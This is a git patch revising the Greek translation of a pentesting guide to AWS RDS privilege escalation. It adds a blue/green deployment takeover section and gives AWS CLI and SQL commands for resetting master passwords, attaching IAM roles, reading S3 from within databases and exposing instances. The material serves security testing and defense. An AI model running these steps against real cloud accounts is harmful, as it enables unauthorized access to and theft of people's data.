From 392efb5fb322d55928cbd8350af9c6f7688c417a Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 13 Jan 2026 13:31:22 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat --- .../aws-rds-privesc/README.md | 82 ++++++++++++------- 1 file changed, 51 insertions(+), 31 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md index 73d4dafc0..3b5810752 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md @@ -2,7 +2,7 @@ {{#include ../../../../banners/hacktricks-training.md}} -## RDS - Relational Database Service +## RDS - Υπηρεσία Σχεσιακής Βάσης Δεδομένων Για περισσότερες πληροφορίες σχετικά με το RDS δείτε: @@ -12,7 +12,7 @@ ### `rds:ModifyDBInstance` -Με αυτήν την άδεια ένας επιτιθέμενος μπορεί να **αλλάξει τον κωδικό πρόσβασης του master user**, και το login μέσα στη βάση δεδομένων: +Με αυτή την άδεια, ένας επιτιθέμενος μπορεί να **τροποποιήσει τον κωδικό του κύριου χρήστη**, και τα διαπιστευτήρια σύνδεσης μέσα στη βάση δεδομένων: ```bash # Get the DB username, db name and address aws rds describe-db-instances @@ -27,30 +27,30 @@ aws rds modify-db-instance \ psql postgresql://:@:5432/ ``` > [!WARNING] -> Θα χρειαστεί να μπορείτε να **contact to the database** (συνήθως είναι προσβάσιμα μόνο από το εσωτερικό των networks). +> Θα χρειαστεί να μπορείτε να **επικοινωνήσετε με τη database** (συνήθως είναι προσβάσιμες μόνο από εσωτερικά δίκτυα). -**Potential Impact:** Εντοπισμός ευαίσθητων πληροφοριών μέσα στις databases. +**Πιθανός αντίκτυπος:** Εντοπισμός ευαίσθητων πληροφοριών μέσα στις databases. ### rds-db:connect -Σύμφωνα με τα [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) ένας χρήστης με αυτήν την άδεια θα μπορούσε να συνδεθεί στην DB instance. +Σύμφωνα με τα [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) ένας χρήστης με αυτή την άδεια μπορεί να συνδεθεί στο DB instance. -### Abuse RDS Role IAM permissions +### Κατάχρηση δικαιωμάτων RDS Role IAM #### Postgresql (Aurora) > [!TIP] -> Αν εκτελώντας **`SELECT datname FROM pg_database;`** βρείτε μια database με όνομα **`rdsadmin`**, τότε γνωρίζετε ότι βρίσκεστε μέσα σε μια **AWS postgresql database**. +> Αν εκτελέσετε **`SELECT datname FROM pg_database;`** και βρείτε μια database που ονομάζεται **`rdsadmin`**, τότε ξέρετε ότι βρίσκεστε μέσα σε μια **AWS postgresql database**. -Πρώτα μπορείτε να ελέγξετε αν αυτή η database έχει χρησιμοποιηθεί για πρόσβαση σε οποιαδήποτε άλλη υπηρεσία AWS. Μπορείτε να το ελέγξετε κοιτάζοντας τις εγκατεστημένες επεκτάσεις: +Πρώτα μπορείτε να ελέγξετε αν αυτή η database έχει χρησιμοποιηθεί για πρόσβαση σε κάποια άλλη υπηρεσία AWS. Μπορείτε να το ελέγξετε κοιτάζοντας τις εγκατεστημένες επεκτάσεις: ```sql SELECT * FROM pg_extension; ``` -Εάν βρείτε κάτι σαν **`aws_s3`** μπορείτε να υποθέσετε ότι αυτή η βάση δεδομένων έχει **κάποιο είδος πρόσβασης στο S3** (υπάρχουν και άλλες επεκτάσεις όπως **`aws_ml`** και **`aws_lambda`**). +Αν βρείτε κάτι όπως **`aws_s3`** μπορείτε να υποθέσετε ότι αυτή η βάση δεδομένων έχει **κάποια μορφή πρόσβασης στο S3** (υπάρχουν και άλλες επεκτάσεις όπως **`aws_ml`** και **`aws_lambda`**). -Επίσης, αν έχετε δικαιώματα να τρέξετε **`aws rds describe-db-clusters`** μπορείτε να δείτε εκεί αν ο **cluster έχει κάποιο IAM Role attached** στο πεδίο **`AssociatedRoles`**. Αν υπάρχει, μπορείτε να υποθέσετε ότι η βάση δεδομένων ήταν **προετοιμασμένη να έχει πρόσβαση σε άλλες AWS υπηρεσίες**. Βάσει του **name of the role** (ή αν μπορείτε να πάρετε τα **permissions** του role) θα μπορούσατε να **μαντέψετε** ποια επιπλέον πρόσβαση έχει η βάση δεδομένων. +Επίσης, αν έχετε δικαιώματα να εκτελέσετε **`aws rds describe-db-clusters`** μπορείτε να δείτε εκεί αν το **cluster έχει οποιονδήποτε IAM Role συνδεδεμένο** στο πεδίο **`AssociatedRoles`**. Αν υπάρχει, μπορείτε να υποθέσετε ότι η βάση δεδομένων ήταν **διαμορφωμένη για πρόσβαση σε άλλες υπηρεσίες AWS**. Βάσει του **ονόματος του role** (ή αν μπορείτε να πάρετε τα **permissions** του role) μπορείτε να **μαντέψετε** ποια επιπλέον πρόσβαση έχει η βάση. -Τώρα, για να **διαβάσετε ένα αρχείο μέσα σε ένα bucket** χρειάζεται να γνωρίζετε το πλήρες path. Μπορείτε να το διαβάσετε με: +Τώρα, για να **διαβάσετε ένα αρχείο μέσα σε ένα bucket** πρέπει να γνωρίζετε το πλήρες μονοπάτι. Μπορείτε να το διαβάσετε με: ```sql // Create table CREATE TABLE ttemp (col TEXT); @@ -71,7 +71,7 @@ SELECT * from ttemp; // Delete table DROP TABLE ttemp; ``` -Εάν είχατε **raw AWS credentials** θα μπορούσατε επίσης να τα χρησιμοποιήσετε για πρόσβαση σε δεδομένα S3 με: +Εάν είχατε **raw AWS credentials**, θα μπορούσατε επίσης να τα χρησιμοποιήσετε για να αποκτήσετε πρόσβαση στα δεδομένα S3 με: ```sql SELECT aws_s3.table_import_from_s3( 't', '', '(format csv)', @@ -80,18 +80,18 @@ aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '') ); ``` > [!NOTE] -> Postgresql **δεν χρειάζεται να αλλάξει καμία μεταβλητή του parameter group** για να μπορεί να έχει πρόσβαση στο S3. +> Postgresql **δεν χρειάζεται να αλλάξει καμία μεταβλητή του parameter group** για να μπορεί να έχει πρόσβαση σε S3. #### Mysql (Aurora) > [!TIP] -> Μέσα σε ένα mysql, αν εκτελέσεις το ερώτημα **`SELECT User, Host FROM mysql.user;`** και υπάρχει ένας χρήστης με όνομα **`rdsadmin`**, μπορείς να υποθέσεις ότι βρίσκεσαι μέσα σε ένα **AWS RDS mysql db**. +> Μέσα σε ένα mysql, αν εκτελέσετε το query **`SELECT User, Host FROM mysql.user;`** και υπάρχει ένας χρήστης με όνομα **`rdsadmin`**, μπορείτε να υποθέσετε ότι βρίσκεστε μέσα σε μια **AWS RDS mysql db**. -Μέσα στο mysql εκτέλεσε **`show variables;`** και αν μεταβλητές όπως **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** έχουν τιμές, μπορείς να υποθέσεις ότι η βάση δεδομένων είναι προετοιμασμένη να έχει πρόσβαση σε δεδομένα στο S3. +Μέσα στο mysql τρέξτε **`show variables;`** και αν οι μεταβλητές όπως **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** έχουν τιμές, μπορείτε να υποθέσετε ότι η βάση δεδομένων είναι προετοιμασμένη για πρόσβαση σε δεδομένα S3. -Επίσης, αν έχεις δικαιώματα να εκτελέσεις **`aws rds describe-db-clusters`**, μπορείς να ελέγξεις αν το cluster έχει κάποιο συσχετισμένο ρόλο, που συνήθως σημαίνει πρόσβαση στις υπηρεσίες AWS. +Επίσης, αν έχετε δικαιώματα να εκτελέσετε **`aws rds describe-db-clusters`**, μπορείτε να ελέγξετε αν το cluster έχει κάποιον **σχετιζόμενο ρόλο**, το οποίο συνήθως σημαίνει πρόσβαση σε υπηρεσίες AWS). -Τώρα, για να **διαβάσεις ένα αρχείο μέσα σε ένα bucket** χρειάζεται να γνωρίζεις το πλήρες μονοπάτι. Μπορείς να το διαβάσεις με: +Τώρα, για να **διαβάσετε ένα αρχείο μέσα σε ένα bucket** χρειάζεται να γνωρίζετε το πλήρες μονοπάτι. Μπορείτε να το διαβάσετε με: ```sql CREATE TABLE ttemp (col TEXT); LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col); @@ -100,16 +100,16 @@ DROP TABLE ttemp; ``` ### `rds:AddRoleToDBCluster`, `iam:PassRole` -Ένας επιτιθέμενος με τα δικαιώματα `rds:AddRoleToDBCluster` και `iam:PassRole` μπορεί να **προσθέσει έναν συγκεκριμένο ρόλο σε ένα υπάρχον RDS instance**. Αυτό θα μπορούσε να επιτρέψει στον επιτιθέμενο να **έχει πρόσβαση σε ευαίσθητα δεδομένα** ή να τροποποιήσει τα δεδομένα εντός του instance. +Ένας επιτιθέμενος με τα δικαιώματα `rds:AddRoleToDBCluster` και `iam:PassRole` μπορεί να **προσθέσει έναν συγκεκριμένο ρόλο σε ένα υπάρχον RDS instance**. Αυτό θα μπορούσε να επιτρέψει στον επιτιθέμενο να **έχει πρόσβαση σε ευαίσθητα δεδομένα** ή να **τροποποιήσει τα δεδομένα εντός του instance**. ```bash aws add-role-to-db-cluster --db-cluster-identifier --role-arn ``` -**Πιθανός Αντίκτυπος**: Πρόσβαση σε ευαίσθητα δεδομένα ή μη εξουσιοδοτημένες τροποποιήσεις των δεδομένων στην RDS instance.\ -Σημειώστε ότι κάποια DBs απαιτούν επιπλέον configs όπως Mysql, που χρειάζεται επίσης να προσδιοριστεί το role ARN στα aprameter groups. +**Πιθανός Αντίκτυπος**: Πρόσβαση σε ευαίσθητα δεδομένα ή μη εξουσιοδοτημένες τροποποιήσεις στα δεδομένα στην RDS instance.\ +Σημειώστε ότι ορισμένα DB απαιτούν επιπλέον ρυθμίσεις, όπως το Mysql, το οποίο χρειάζεται να καθορίσει επίσης το role ARN στις parameter groups. ### `rds:CreateDBInstance` -Μόνο με αυτήν την άδεια ένας attacker θα μπορούσε να δημιουργήσει μια **new instance inside a cluster** που ήδη υπάρχει και έχει μια **IAM role** συνδεδεμένη. Δεν θα μπορεί να αλλάξει το master user password, αλλά μπορεί να εκθέσει τη νέα database instance στο internet: +Ακόμα και μόνο με αυτή την άδεια, ένας attacker θα μπορούσε να δημιουργήσει μια **νέα instance μέσα σε ένα cluster** που ήδη υπάρχει και έχει **IAM role** συνημμένο. Δεν θα μπορέσει να αλλάξει τον master user password, αλλά ίσως να καταφέρει να εκθέσει τη νέα database instance στο internet: ```bash aws --region eu-west-1 --profile none-priv rds create-db-instance \ --db-instance-identifier mydbinstance2 \ @@ -122,30 +122,50 @@ aws --region eu-west-1 --profile none-priv rds create-db-instance \ ### `rds:CreateDBInstance`, `iam:PassRole` > [!NOTE] -> TODO: Δοκιμή +> TODO: Test -Ένας επιτιθέμενος με τα δικαιώματα `rds:CreateDBInstance` και `iam:PassRole` μπορεί να **δημιουργήσει ένα νέο RDS instance με έναν καθορισμένο role συνημμένο**. Ο επιτιθέμενος στη συνέχεια μπορεί ενδεχομένως να **αποκτήσει πρόσβαση σε ευαίσθητα δεδομένα** ή να τροποποιήσει τα δεδομένα εντός του instance. +Ένας επιτιθέμενος με τα δικαιώματα `rds:CreateDBInstance` και `iam:PassRole` μπορεί να **δημιουργήσει ένα νέο RDS instance με έναν συγκεκριμένο ρόλο συνημμένο**. Ο επιτιθέμενος στη συνέχεια ενδεχομένως μπορεί να **πρόσβαση σε ευαίσθητα δεδομένα** ή να τροποποιήσει τα δεδομένα μέσα στο instance. > [!WARNING] -> Μερικές απαιτήσεις για το role/instance-profile που θα προσαρτηθεί (από [**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)): +> Some requirements of the role/instance-profile to attach (from [**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)): -> - Το profile πρέπει να υπάρχει στον λογαριασμό σας. -> - Το profile πρέπει να έχει ένα IAM role που το Amazon EC2 έχει δικαιώματα να αναλάβει. -> - Το όνομα του instance profile και το συσχετισμένο όνομα IAM role πρέπει να ξεκινούν με το πρόθεμα `AWSRDSCustom`. +> - Το προφίλ πρέπει να υπάρχει στον λογαριασμό σας. +> - Το προφίλ πρέπει να έχει ένα IAM role που το Amazon EC2 έχει δικαιώματα να αναλάβει. +> - Το όνομα του instance profile και το αντίστοιχο όνομα του IAM role πρέπει να ξεκινούν με το πρόθεμα `AWSRDSCustom`. ```bash aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole ``` -**Potential Impact**: Πρόσβαση σε ευαίσθητα δεδομένα ή μη εξουσιοδοτημένες τροποποιήσεις στα δεδομένα στο RDS instance. +**Potential Impact**: Πρόσβαση σε ευαίσθητα δεδομένα ή μη εξουσιοδοτημένες τροποποιήσεις των δεδομένων στην RDS instance. ### `rds:AddRoleToDBInstance`, `iam:PassRole` -Ένας επιτιθέμενος με τα δικαιώματα `rds:AddRoleToDBInstance` και `iam:PassRole` μπορεί να **προσθέσει έναν συγκεκριμένο ρόλο σε ένα υπάρχον RDS instance**. Αυτό θα μπορούσε να επιτρέψει στον επιτιθέμενο να **έχει πρόσβαση σε ευαίσθητα δεδομένα** ή να τροποποιήσει τα δεδομένα εντός του instance. +Ένας επιτιθέμενος με τα δικαιώματα `rds:AddRoleToDBInstance` και `iam:PassRole` μπορεί να **προσθέσει έναν καθορισμένο role σε μια υπάρχουσα RDS instance**. Αυτό θα μπορούσε να επιτρέψει στον επιτιθέμενο να **αποκτήσει πρόσβαση σε ευαίσθητα δεδομένα** ή να τροποποιήσει τα δεδομένα εντός της instance. > [!WARNING] -> Η DB instance πρέπει να βρίσκεται εκτός cluster για αυτό +> Το DB instance πρέπει να βρίσκεται εκτός cluster για αυτό ```bash aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name ``` -**Potential Impact**: Πρόσβαση σε ευαίσθητα δεδομένα ή μη εξουσιοδοτημένες τροποποιήσεις στα δεδομένα του RDS instance. +**Πιθανός Αντίκτυπος**: Πρόσβαση σε ευαίσθητα δεδομένα ή μη εξουσιοδοτημένες τροποποιήσεις στα δεδομένα στην RDS instance. + +### `rds:CreateBlueGreenDeployment`, `rds:AddRoleToDBCluster`, `iam:PassRole`, `rds:SwitchoverBlueGreenDeployment` + +Ένας επιτιθέμενος με αυτά τα δικαιώματα μπορεί να κλωνοποιήσει μια παραγωγική βάση δεδομένων (Blue), να επισυνάψει έναν IAM ρόλο με υψηλά προνόμια στον κλώνο (Green), και στη συνέχεια να χρησιμοποιήσει το switchover για να αντικαταστήσει το παραγωγικό περιβάλλον. Αυτό επιτρέπει στον επιτιθέμενο να ανυψώσει τα προνόμια της βάσης δεδομένων και να αποκτήσει μη εξουσιοδοτημένη πρόσβαση σε άλλους πόρους AWS. +```bash +# Create a Green deployment (clone) of the production cluster +aws rds create-blue-green-deployment \ +--blue-green-deployment-name \ +--source + +# Attach a high-privilege IAM role to the Green cluster +aws rds add-role-to-db-cluster \ +--db-cluster-identifier \ +--role-arn + +# Switch the Green environment to Production +aws rds switchover-blue-green-deployment \ +--blue-green-deployment-identifier +``` +**Πιθανός Αντίκτυπος**: Πλήρης κατάληψη του περιβάλλοντος παραγωγής της βάσης δεδομένων. Μετά τη μεταγωγή, η βάση δεδομένων λειτουργεί με αυξημένα προνόμια, επιτρέποντας μη εξουσιοδοτημένη πρόσβαση σε άλλες υπηρεσίες AWS (π.χ. S3, Lambda, Secrets Manager) από εντός της βάσης δεδομένων. {{#include ../../../../banners/hacktricks-training.md}}